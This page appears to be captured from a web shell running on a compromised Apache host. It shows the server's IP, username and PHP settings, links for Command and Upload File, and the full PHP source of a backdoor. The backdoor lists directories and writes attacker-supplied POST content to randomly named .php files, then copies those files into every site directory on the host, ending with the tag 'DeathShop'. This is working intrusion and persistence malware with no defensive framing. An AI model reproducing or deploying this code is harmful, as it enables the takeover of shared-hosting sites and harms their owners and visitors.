Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php function generateRandomString($length) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $charLength = strlen($characters); $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, $charLength - 1)]; } return $randomString; } function method1() { $currentPath = dirname($_SERVER['DOCUMENT_ROOT']); if ($currentPath === false) { echo "Unable to determine the current path."; return; } $contents = scandir($currentPath); if ($contents === false) { echo "Unable to list the contents of the current path."; return; } echo json_encode($contents); } function method2() { $currentPath = $_SERVER['DOCUMENT_ROOT']; if ($currentPath === false) { echo "Unable to determine the current path."; return; } $contents = scandir($currentPath); if ($contents === false) { echo "Unable to list the contents of the current path."; return; } echo json_encode($contents); } if (isset($_GET['met1'])) { method1(); } else if (isset($_GET['met2'])) { method2(); } else if (isset($_GET['actmet1'])) { $sc = $_POST['file']; $nama = generateRandomString(8); $filePath = $nama . '.php'; $dead = fopen($filePath, "w"); if ($dead === false) { echo "Failed to open the file for writing."; } else { if (fwrite($dead, $sc) === false) { echo "Failed to write to the file."; } else { fclose($dead); $currentPath = dirname($_SERVER['DOCUMENT_ROOT']); $contents = scandir($currentPath); foreach ($contents as $a) { $newpath = $currentPath . '/' . $a . '/' . $nama . '.php'; $badman = @copy($filePath, $newpath); if ($badman) { echo $a . '/' . $nama . '.php' . '|'; } } } } } else if (isset($_GET['actmet2'])) { $sc = $_POST['file']; $nama = generateRandomString(8); $filePath = $nama . '.php'; $dead = fopen($filePath, "w"); if ($dead === false) { echo "Failed to open the file for writing."; } else { if (fwrite($dead, $sc) === false) { echo "Failed to write to the file."; } else { fclose($dead); $currentPath = $_SERVER['DOCUMENT_ROOT']; $contents = scandir($currentPath); foreach ($contents as $a) { $newpath = $currentPath . '/' . $a . '/' . $nama . '.php'; $badman = @copy($filePath, $newpath); if ($badman) { echo $a . '/' . $nama . '.php' . '|'; } } } } } else { echo 'DeathShop'; } ?>